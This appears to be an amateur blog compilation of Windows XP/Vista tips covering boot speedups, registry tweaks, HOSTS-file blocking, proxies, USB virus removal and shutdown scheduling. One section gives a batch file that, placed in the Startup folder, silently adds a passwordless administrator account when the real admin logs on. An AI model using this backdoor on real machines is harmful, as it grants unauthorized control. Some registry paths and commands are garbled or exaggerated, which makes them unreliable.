it works !!

Sometimes some of your friends who appear offline in yahoo messenger may not be actually offline,they may in the 'Invisible' mode.This maybe if they are trying to ignore you or are too busy to talk to anyone.

There is this small trick that you can use to find out what the truth is.

Firstly open your yahoo messenger main window and double click on the name of the person whom you want to check.The chat window will open obviously.

Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.
After loading the Doodle imvironment there can be two possibilities

1.If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously .See in the picture below:

2. If the user is online (but in invisible mode), after few seconds (it can take up to one minute, depending on your connection speed), you should get a blank page like in the picture below.So you know that the user is online.

Alternate Method:

Chose a person you want to check .Double click to open the chat window.Now simply invite the person for a voice conference.This is done by clicking on the "conference' button on the top of the chat window.
If the talk button appears and turns green then that person is online.But if you receive the message 'Voice chat could not be started ' then the person is offline.

Note:Some people use softwares like buddy spy to check who is invisible.I DONT RECOMMEND you to use such third party softwares as they can expose your Pc to hackers by sending your personal information and can even steal information from your Pc.So avoid such softwares and instead use the simple tricks given above.

speed up xp booting by 21 times

run -> msconfig - Hit Enter

Awesome tricks Explained here for u




Whenever you start your computer, you are faced with a few moments of thumb twiddling while Windows XP boots and prompts you to log on. Although you should expect to wait for a few moments, sometimes Windows XP seems to boot rather slowly. In fact, you may notice that over a period of time the PC that used to roar to life seems a bit sluggish instead. Fortunately, you can perform several techniques that help Windows XP get the bootup speed you want. This Article explores how to put these techniques to work.


Stopping Unneeded Startup Services !


Along with the core operating system and programs that Windows XP runs when it starts, there is also a host of services involved. Many of these services are necessary for Windows XP to operate correctly. However, many of them are for features in Windows XP that you may not use at all. You can peruse the services and disable any service that you do not want to run. The fewer services that run, the more quickly Windows XP will boot.

Caution:

Exercise caution when stopping services. If you do not know what a service does or are unsure of the ramifications of stopping the service, leave it alone. Some services are critical to Windows XP's operations, so make sure you understand what the service is before you disable it.


To reduce the number of services that start on bootup, you can access two different areas of Windows XP. The first is the System Configuration Utility. The Services tab shows you the services that start when the computer boots.
You can stop a service from starting by simply clearing the check box next to the service and clicking OK. However, before you do so, there is another way to disable services that you may prefer because the interface gives you more information about the service in question.


Open Control Panel/Administrative ToolsServices or else select Start/Run, type services.msc, and click OK. Either way, you see the Services console.
I prefer to use the Services console instead of the System Configuration Utility because it describes what the service does. Additionally, you can double-click a service and examine its properties.

Notice the Startup Type column in Figure 4-2. This information lists whether the service is automatic or manual. Manual services are only started in Windows XP when you start a process that requires the service. Some other process may require the service that has a "dependency" relationship with it; in this case, the dependency service will start, as well. Because these services do not start automatically when you boot Windows XP, you do not need to do anything with manual services.


However, all services listed as automatic start when Windows XP boots. These are the services that increase boot time. As I have mentioned, many of them are necessary and important, so you should not stop automatic services from booting unless you are sure of the ramifications. You can get this information by looking at the Description column. Here's a quick look at common services you may want to live without:


SPEED UP BOOT BY DISABLING UNUSED PORTS.!!


You may have tried many tweaks like modifying windowsXP start-up applications, prefetches, unload DLLs method,etc. And yes those methods do work for me.
I have just accidentally found out another way to give you an extra boost in windowsXP's boot performance. This is done by disabling your unused devices in
Device Manager. for example, if you don't have input devices that are connected to one of your USBs or COM ports, disabling them will give you an extra perfromance boost in booting. Go to Control Panel -> System -> Hardware tab -> device manager Disable devices that you don't use for your PC and then restart.


Do Dis !!

1.Start Registry Editor (Regedit.exe).

2.Locate the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters

3.Make sure you backup the keys by exporting them to a .reg file.

4.On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

5.Close the registry editor.

6.Restart your computer


Automatic Updates !

This service enables Windows XP to check the Web automatically for updates. If you don't want to use Automatic Updates, you can disable the service. You can always check for updates manually at the Windows Update Web site.

Computer Browser: If your computer is not on a network, you don't need this service. If you are on a network, leave it alone.

DHCP Client: If you are not on a network, you do not need this service. If you are on a small workgroup, you can still increase boot time by configuring manual IP addresses (which I explore later in this chapter).

DNS Client: If you are not on a network, you do not need this service. If you are, leave it alone.

Error Reporting and Event Log: You don't have to use these services but they can be very helpful, so I would leave them configured as automatic.

Fax: If you don't use your computer for fax services, you can disable this one.

Help and Support: If you never use the Windows XP Help and Support Center (found on the Start menu), you can disable this service.

IMAPI CD-Burning COM: This service enables you to burn CDs on your computer. If you never burn CDs, you can disable the service.

Indexing Service: Your computer keeps an index of files but if you rarely search for files, the service is just a resource hog. You can stop it and turn the service to manual.

Windows Firewall/Internet Connection Sharing: If you do not use these features, you can disable them.

Infrared Monitor: If you do not use infrared devices, you can disable this service.

Messenger: This service sends alert messages on a local area network (it is not the same as Windows Messenger). If you are not on a network, you can disable this service.

Print Spooler: If you do not do any printing from the computer, you can disable this service. If you print, make sure you leave it as automatic.

Remote Registry: This service allows remote users to modify the Registry on your computer. If you are not on a network, you can disable this service.

System Restore Service: This service allows you to use System Restore. If you have turned off System Restore anyway, you do not need to turn off the service. If you do, you turn off System Restore.

Themes: If you do not use themes, you can disable this service.

Windows Image Acquisition: If you do not use scanners or digital cameras, you can disable this service.

Wireless Zero Configuration: If do not use wireless networking devices, you can disable this service.




You may have a number of other automatic services, depending on software and other configurations on your computer. So it's a good idea to look through the services and learn more about them. If you double-click a service, a Properties dialog box appears
Notice that on the General tab, you see a Startup Type drop-down menu. If you want to change an automatic service to manual, select Manual here and click OK. As a general rule, don't disable a service unless you are sure you will never use it. However, manual configuration allows the service to be started when you find it necessary, thus speeding up your boot time.
However, before you change a service to manual, look at the Dependencies tab (see Figure 4-4). This tab shows you which other services depend upon the service you are considering changing.
Keep in mind that services are necessary for the vast functionality you get with Windows XP. Change only those services that you understand and do not use. How you use your Windows XP computer should be the best guide in terms of optional startup services.


Tip !


The Indexing service and the System Restore service take up a lot of disk space and system resources across the board. You can live without the Indexing service but I suggest that you keep using System Restore. It works great when you are in a bind and this is one case where the loss of speed may not be worth the ramifications of not using System Restore.


Speed Tips and Tricks for Windows XP Startup

Aside from startup programs, services, and the Prefetch folder, there are a number of other startup procedures and issues you can modify to help Windows XP start faster. The following sections explore those tips and tricks.


Manual IP Addressing on Small Office/Home Networks
Windows XP is configured to help you take care of networking. It uses the TCP/IP protocol for networking in workgroups, or what you might call small office or home networks that do not use a dedicated server.

The problem is that automatic IP addressing can be slow. When your computer boots, it has to query the network to see what IP addresses are already in use and then assign itself one. If you want to speed up the boot time a bit, consider manually assigning IP addresses to all computers on the network. This way, the network computers do not have to worry about locating an automatic IP address. Because one is manually configured, the operating system doesn't have to spend time solving this problem.

This isn't a networking book, however, so I won't delve into the implications of using a manual IP address, but if you are using a computer that functions as a host computer to the Internet (using Internet Connection Sharing [ICS]), you can get into connectivity problems if you change the configuration of the IP address. However, you can still work around this problem by starting with the ICS host computer.

Select Start/Connect To/Show All Connections. Right-click your network adapter card and click Properties. On the General tab, select TCP/IP in the list of services and click the Properties button.

In the TCP/IP properties, you can see if you use an automatic or manual IP address. In the example in Figure 4-5, I have configured a manual IP address of 90.0.0.1 and a default subnet mask. The other computers on my office network each use a different IP address in the same class, such as 90.0.0.2, 90.0.0.3, 90.0.0.4, and so on. This way, each computer has a permanent IP address, which helps increase boot time. Note that if you change the IP addresses of your computers, they must all use the same subnet mask. A default subject mask of 255.255.255.0 will keep you in good shape.

Make sure you understand the implications of changing IP addresses on your network. If you have no networking experience at all, you may be wiser to leave the automatic IP addressing as is and try to gain some speed using the additional suggestions in this chapter.


Disabling Recent Documents History !


Windows XP includes a feature that keeps track of all recent documents you have opened or used. The idea is that you can select Start/Recent Documents History and quickly reopen any document you have recently used. I use many documents each day and never use the feature myself. In my opinion, I can keep up with what I want to use without Windows XP doing it for me.
The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down. So, if you never use the Recent Documents History, it's a good idea to disable it. Here's how:
1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\ CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.


Disabling the Boot Logo !


You can remove the boot logo that appears when you start Windows XP. This little tweak probably shaves only a few seconds off your boot time but seconds count if you are serious about trying to get Windows XP up and running as quickly as possible. The only negative is that if you remove the boot logo, you will also not see any boot messages, such as check disk. (But if you are not having problems with your computer, this isn't such a big deal.)
To remove the boot logo, follow these steps:
1. Select Start/Run, type msconfig, and click OK.
2. In the System Configuration Utility, click the BOOT.INI tab.
3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK.


Removing Unwanted Fonts !


One trick that increases your boot time a bit is to lose any fonts in the Fonts folder in Control Panel that you never use. The more fonts you have, the more processing Windows XP has to do to prep all of those fonts for use. You must be a bit careful here to not remove fonts that you might want, but there is a good chance that you can live without many of them. For instance, you may have foreign language fonts and other symbol fonts (such as Wingdings) that you never use.
To delete unneeded fonts, follow these steps:
1. Open the Fonts folder in Control Panel.
2. Select Edit/Select All and then Edit/Copy.
3. Create a new folder on your desktop, open it, and select Edit/Paste.
4. In this new folder, delete any of the fonts you do not want.
5. Return to the Fonts folder in Control Panel. Right-click the selected fonts and click Delete.
6. Go back to your new desktop folder and click Edit/Select All.
7. Return to your Fonts folder and click Edit/Paste. You now have only the desired fonts in the Fonts folder.


Tip:


You can directly delete fonts from the Fonts folder without creating the secondary folder. However, I recommend the preceding steps to help ensure that you do not make a mistake in the deletion process.


Stopping Remote Assistance and Remote Desktop Sharing !


In Windows XP Professional, you have two remote networking features called Remote Assistance and Remote Desktop Sharing. These remote networking features are very helpful in a variety of situations but if you don't use them, it is good idea to disable them to save boot time. You can always enable them later if you want to use them.
Note:
If you are interested in using Remote Desktop or Remote Assistance, see my book Windows XP for Power Users: Power Pack published by John Wiley & Sons.
1. Open the Start menu, right-click My Computer, and choose Properties.
2. Click the Remote Tab.
3. Clear both check boxes to disable Remote Assistance and Remote Desktop.


Speeding Up the Dual-Boot Timeout !


If you dual-boot your computer with Windows XP and another operating system, you see an operating system selection menu on startup. If you typically boot into Windows XP and not the other operating system, you can speed up the dual-boot timeout value so that you do not wait so long for the boot process to select your default operating system and continue with the boot process. The default timeout value is 30 seconds but you can change this setting to 10. This gives you enough time to select the alternate operating system if you want but also speeds up the boot process. You can skip this section if you do not use a dual-boot configuration.
Follow these steps:
1. Locate the boot.ini file on your computer. It is a hidden file by default; mine is located in C:\boot.ini.
2. Open the file with Notepad (which is what opens it by default).
3. Change the Timeout value to 10 (see Figure 4-11).
4. Select File/Save and close Notepad.


Speeding Up Your PPPoE Connection !


If you use a Point-to-Point Protocol connection over Ethernet (PPPoE), you may notice a delay in using the PPPoE connection after startup. By default, there is a 120 second delay but you can stop this behavior by manually configuring an IP address for the network adapter card. If you do not use a PPPoE connection, you can skip this section.
1. Select Start/Connect to/Show All Connections.
2. Open the TCP/IP properties for your LAN network interface card.
3. Manually set the IP address on the TCP/IP properties to an appropriate IP address and subnet mask for your network.


Reducing the Wait Time


When you start to shut down Windows XP, it has to quit, or "kill," any live applications or processes that are currently running. So close all applications first. However, some applications and processes are always running in the background. You can reduce the amount of time that Windows XP waits for those applications and processes to close before Windows XP kills them. Edit three different Registry settings to change this:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop. Select WaitToKillAppTimeout and set the value to 1000.
3. Select the HungAppTimeout value and set it to 1000 as well.
4. Navigate to HKEY_USERS\.DEFAULT\Control Panel\Desktop. Set the WaitToKillAppTimeout and set the value to 1000. Select the HungAppTimeout \newline value and set it to 1000 as well.
5. Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control. Select the WaitToKillServiceTimeout value and set it to 1000.
6. Close the Registry Editor.

Automatically Killing Tasks on Shutdown !


You know the drill. You start to shut down the computer, you wait a few moments, and then you see a dialog box asking if you want to kill an application or service that is running. Instead of prompting you, you can make Windows XP take care of the kill task automatically. Here's how:
1. Open the Registry Editor.
2. Navigate to HKEY_CURRENT_USER\Control Panel\Desktop.
3. Highlight the value AutoEndTasks and change the value to 1.
4. Close the Registry Editor.

Here's a great tip to speed up your browsing of Windows XP machines. Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet & Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :

Open up the Registry and go to : HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace Under that branch, select the key : {D6277990-4C6A-11CF-8D87-00AA0060F5BF} and delete it. This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary. This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes.

calculating in command prompt

friends do u know that The command processor CMD.EXE comes with a mini-calculator that can perform simple arithmetic on 32-bit signed integers u can perform unary, arthimetic, logical and bitwise calculations in it:

try this
goto run -->type cmd press enter

C:\>set /a 2+2
4
C:\>set /a 2*(9/2)
8
C:\>set /a (2*9)/2
9
C:\>set /a "31>>2"
7

Note that we had to quote the shift operator since it would otherwise be misinterpreted as a "redirect stdout and append" operator.

blocking website in a techy way

Hello Friends,Sometimes you want to block some websites in your PC which are harmful for your computer,Now you can easily and effectively block access to a website by adding it to your Windows HOSTS file. (Yes, Hosts is capitalized for some strange reason).It is very easy in Use and it is working effectively,below is the trick that how can you Block a website in your PC.

1.Go to your HOSTS file which is located at:
C:\WINDOWS\SYSTEM32\DRIVERS\ETC for windows Vista and XP
C:\WINNT\SYSTEM32\DRIVERS\ETC for Windows 2k
C:\WINDOWS for Windows 98 and ME

2. Open HOSTS with Notepad.

The default Windows HOSTS looks like this:
______________________

# Copyright © 1993-1999 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a “#” symbol.
#
# For example:
#
# 102.54.94.97 rhino.acme.com # source server
# 38.25.63.10 x.acme.com # x client host
#
127.0.0.1 localhost
_____________________________

3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:

127.0.0.1 name of the URL you want to block

For example to block the MySpace.com homepage (highly recommended!), simply type:

127.0.0.1 myspace.com
127.0.0.1 www.myspace.com

Other parts of MySpace could be blocked in a similar way:

127.0.0.1 search.myspace.com
127.0.0.1 profile.myspace.com
127.0.0.2 www.orkut.com
etc etc etc…

You may need to add sites with both with and without the “www.”. Test after blocking to make sure you got it right.

You can add as many sites as you wish to block in this fashion.


4. Close Notepad and answer “Yes” when prompted.

5. Reboot your computer and attempt to access your now blocked website. You should see a Cannot find server or DNS Error saying: “The page cannot be displayed”.

~NOTE: If a user types in the full url i.e. with the http:// and everything, it wll bypass the hosts file redirection and take them to the right website~

identify unknown file format in ur computer

Managing files is one of the most important things to learn in order to use Windows properly. There is a lot more involved than the basic functions like copy, delete, and move. Unfortunately, the subject is poorly understood by many people. One mystery is file extensions. Another is the annoying things that can happen when new software changes your file associations. Find out what to do about it. Understanding file extensions and knowing how to manage your file associations can be productive in many ways. Learn how here.
What Are Extensions and What Do They Do?
You will recall that in the Windows operating system, most files have names with the format filename.ext where .ext is the extension. An extension is not absolutely required but most files have one in their name. Extensions are often, but not necessarily, three characters. Their function is to tell the computer what the file type is and what is to be done with the file when it is opened or double-clicked or otherwise invoked one way or the other. When the operating system is presented with a file for action (e.g., when you double-click it), the Registry is consulted where a list of file types and their extensions is kept. The list contains what actions are possible for that particular file, which software is supposed to carry out the action, and where on the computer that software is located (the path).
By being aware of the role of an extension, a user can make intelligent decisions about how (or whether) to use a file. For example, e-mail viruses are usually spread by means of attachments with one of the executable extensions such as .exe, .vbs or .scr. An informed user will be able to recognize the danger in indiscriminately opening such attachments and will be prepared to take appropriate action.
Unfortunately,there are thousands of file extensions. Although most of us encounter only a few of the common ones, there are times when you might need to look up a particular file extension. Because file extensions are so important, the Web is full of lists that explain the many different extensions.

Here’s a few (in no particular order):

Broadband Tweak To Boost Up Internet Speed

This is for broad band connections. I didn’t try it on dial up but might work for dial up.
1.make sure your logged on as actually "Administrator". do not log on with any account that just has administrator privileges.
2. start - run - type gpedit.msc
3. expand the "local computer policy" branch
4. expand the "administrative templates" branch
5. expand the "network branch"
6. Highlight the "QoS Packet Scheduler" in left window
7. in right window double click the "limit reservable bandwidth" setting
8. on setting tab check the "enabled" item
9. where it says "Bandwidth limit %" change it to read 0
reboot if you want to but not necessary on some systems your all done. Effect is immediate on some systems. some need re-boot. I have one machine that needs to reboot first, the others didn't. Don't know why this is.

This is more of a "counter what XP does" thing. In other words, XP seems to want to reserve 20% of the bandwidth for its self. Even with QoS disabled, even when this item is disabled. So why not use it to your advantage. To demonstrate the problem with this on stand alone machines start up a big download from a server with an FTP client. Try to find a server that doesn't max out your bandwidth. In this case you want a slow to medium speed server to demonstrate this. Let it run for a couple of minutes to get stable. The start up another download from the same server with another instance of your FTP client. You will notice that the available bandwidth is now being fought over and one of the clients download will be very slow or both will slow down when they should both be using the available bandwidth. Using this "tweak" both clients will have a fair share of the bandwidth and will not fight over the bandwidth.

Create An Admin Account using guest account

"donot misuse it"
Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
Step 3: There is no step 3.
The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.

anonymous surfing using firefox

computers in internet are identified thru ip addresses which are unique to each system
. These are similar to our real world postal address or like our cellphone number.
we donot wish to give either our cell no or our address to an intruder.
In the same manner hiding ur ip address in the net has got utmost importance.
why iam i saying all this is bcoz usually if any hacker gets some working ip address he portscans the computers looking for any open ports("they are like doors of our house in te real world we dont want our doors kept open in the night am i right") on our system .if he finds any open port he will try to hack by sending some trojans disguised as updates to antivirus. so if we hide our ip address then no one ever gets our ip thus v are secure to do this v hav to browse the net thru a proxy server .they are like masks protecting our anonymity they give away their ip instead of ours thus protecting us .This is also one of the common methods used by hackers to secure their identity from being caught by fbi or interpol .....................

firefox serves as an excellent tool for staying anonymous on this cyberworld.


With this you can:


a) download as many time you like using Rapidshare.de


b) Use Megaupload if your country slot is limited.


c) Enhance your privacy (no one can see who are you)


d) Avoid hacker


e) Download faster (some proxies containe internet cache)


To get free proxies, go here


How to setup proxy:

Older Version: Go to tools>option>general>connectionsettings

Latest Version: Go to tools>options>advanced>network>settings

click the manual settings radio button and enter the ip address and port number given in the above site

securing a system from pendrive/flash drive virus

Today pendrives are becoming popular for their portability and high capacity.
As every coin has 2 sides we know that these devices are being used to spread virii rapidly as most of the viruses are targeted to the pendrives..

Active viruses infect your windows system as soon as you double click on the Pen Drive icon in your my computer. As virus always creates a autorun.inf file which is a system ,hidden and a read only file on your pen drive. It point to the main virus file which is also located on the pen drive. When user double clicks on the pen drive files pointed by the autorun.inf got executed which copies the virus files on your system.

tips to defend ourselves from pendrive viruses

Click Start

-->> click on Run or press windows key + r

* Enter GPEDIT.MSC press enter

* Double-click Computer Configuration to open submenu

* Double-click Administrative Templates to open submenu

* Double-click System to open submenu

* Double-click Turn autoplay off option which will be near the bottom of the list in
the right panel.

and u hav 2 tweak ur settings a bit to delete the pesky virus present in your pendrive

Open My Document> Tools> Folder Options>View or control panel folder options>view

click on Advanced Setting

Files and folders > Hidden files and folders

Enable the Show hidden files and folders

deselect hide extensions for known file types

now we are ready to rock

goto run or command prompt

type the drive name

eg: type g:\ in run

now ur pen drive will open up .

look for any files with doubles extensions such as hai.jpg.exe or

ps.bat or any files which u feel are doubtful

select all of them and press shift+delete



removing thru registry

1.New Folder.exe virus disables task manager, disables registry editor, disables folder options, and disables run option from start menu. Virus creates exe files like the icon of folders with the same name as the name of the folder, it also consumes more than 50 % of your processor usage so slows down your computer.



Let’s see how we can remove this virus without formatting the drive.


Fix:

In order to remove the newfolder.exe

You need delete a file named svichossst.exe where ever you find this file on your system



Remove the following keys from registry

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
“@”=[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
“Yahoo Messengger”=



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
“Shell”=”Explorer.exe “




-------------------------------------------------------------------------------------


when we autoplay cds there may e chance that our system gets infected
hence disabling cd-autorun from registry is the best bet to protect ourselves

copy the below code to a notepad and save it as any file but with .reg extension and after saving double click it

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CDRom]
"Autorun"="0"

trick to defrag mutliple volumes in windows vista without using any third party software

By default windows vista provides a defragmentor which can defrag one drive at a time which ofcourse takes a lot of time.
Here is a trick to defrag mutliple drives in ur system at once.
To do this we hav to create a batch file to defragment all drives one after other.
the disk defrag utility can be invoked from the comand line with the following syntax:

Windows Disk Defragmenter
Copyright (c) 2001 Microsoft Corp. and Executive Software International, Inc.
Usage:

defrag [-a] [-f] [-v] [-?]

volume drive letter or mount point (d: or d:volmountpoint)
-a Analyze only
-f Force defragmentation even if free space is low
-v Verbose output
-? Display this help text

first of all we create a bat file by name tuneall.bat
and place it anywhere you like, as long as you'll remember where it is. If you want to run it from the command line, you could place it in the \windows directory so that it will be available in the system path.

For each hard drive, add a line to the batch file. For instance, if we want to defragment drives C: , D: , and F: we will add these three lines:

defrag c: -f defrag d: -f defrag f: -f

To run the defrag, just either double-click on the batch file or start it from the command

unlock the hidden administrator account in vista

Many of us who are familiar with prior versions of Windows are curious what happened to the built-in Administrator account which was always created by default. Does this account still exist, and how can you access it?

The account is created in Windows Vista, but since it's not enabled you can't use it. If you are troubleshooting something that needs to run as administrator, you can enable it with a simple command.

Note: You really shouldn't use this account for anything other than troubleshooting. In fact, you probably shouldn't use it at all.

Enable Built-in Administrator Account

First you'll need to open a command prompt in administrator mode by right-clicking and choosing "Run as administrator" (or use the Ctrl+Shift+Enter shortcut from the search box)

Now type the following command:

net user administrator /active:yes

yes u r done now logout and u can see that account enabled

You'll note that there's no password for this account, so if you want to leave it enabled you should change the password.

steps to set password for administrator acc using command prompt

goto run---->cmd and press enter
now type c:\ net user administrator bond
here bond is the password and u can give password of ur choice

this account is like root acc or superuser in unix or linux enviroment using this acc is not recommended for users other than admins

Disable Built-in Administrator Account

Make sure you are logged on as your regular user account, and then open an administrator mode command prompt as above. Type the following command:

net user administrator /active:no

and u r done

caution:donot messup with that administrator account i repeat

Windows Vista Command Line List

Run as administrator in Vista

The Windows Vista operating system has a security feature called "useraccountcontrol" or uac for short that limits the privileges of users by default. Since the command line is usually involved with administrative tasks, you'll often want to run as an administrator. This can be done each time by right-clicking the icon for the command prompt and choosing "Run as" from the context menu . A more convenient way is to set the command prompt to run with administrator privileges by default. Right-click the command prompt shortcut icon and choose "Properties" from the context menu. Click the "Advanced" button and put a check by "Run as administrator". Click "OK". Note that you will still get the UAC message when you open the command prompt.

Another way to run the command prompt as administrator is to enter "cmd" in Start Search and then use the keyboard combination Ctrl+Shift+ Enter.

trick to shutdown our genious machine at desired time extremely useful while downloading

friends usually many of us have the habit of downloading s/w or movies in the night the system downloads the whole movie or software and after downloading it still runs thus increasing our electricity bills......
now let me tell you that we can shutdown our machine at desired time by using a function
to do this goto run...>cmd ..>shutdown

"shutdown"
Allows you to shut down . Used without parameters, shutdown will logoff the current user.
Syntax

shutdown [{-l|-s|-r|-a}]
Parameters

-l : Logs off the current user, this is also the defualt. -m ComputerName takes precedence.

-s : Shuts down the local computer.

-r : Reboots after shutdown.

-a : Aborts shutdown. Ignores other parameters, except -l and ComputerName. You can only use -a during the time-out period.

-f : Forces running applications to close.

thats short info about shutdown and its parameters

when we start a d/w accoring to our net speed we can now approximate in how much time the file will be downloaded .let us the file will be downloaded in 20 minutes
then we have to type
shutdown -s -t 1200
here 1200 stands for 20 min bcoz the -t switch is to be followed by seconds and here 20 min so 20*60=1200
the same shutdown() function can be used to either shutdown or restart or logoff after a given interval of time .
everytime giving this command is tedious to some of us
inorder to simplify this we can create shortcuts to shutdown and restart which tells the computer to do so after specified time interval
Create a desktop shortcut.




To create desktop shortcut you need to right-Click on the desktop and choose shortcut.
In the type the location for the item paste this :

For shutdown
shutdown -s -t 00
As you can see above, this says to shutdown immediately.

For shutdown and restart
shutdown -r -t 00
As you can see above, this says to shutdown and restart immediately.
shutdown -l -t 00

The 00 can be replaced by time delay you want to give before working.. Its in seconds.
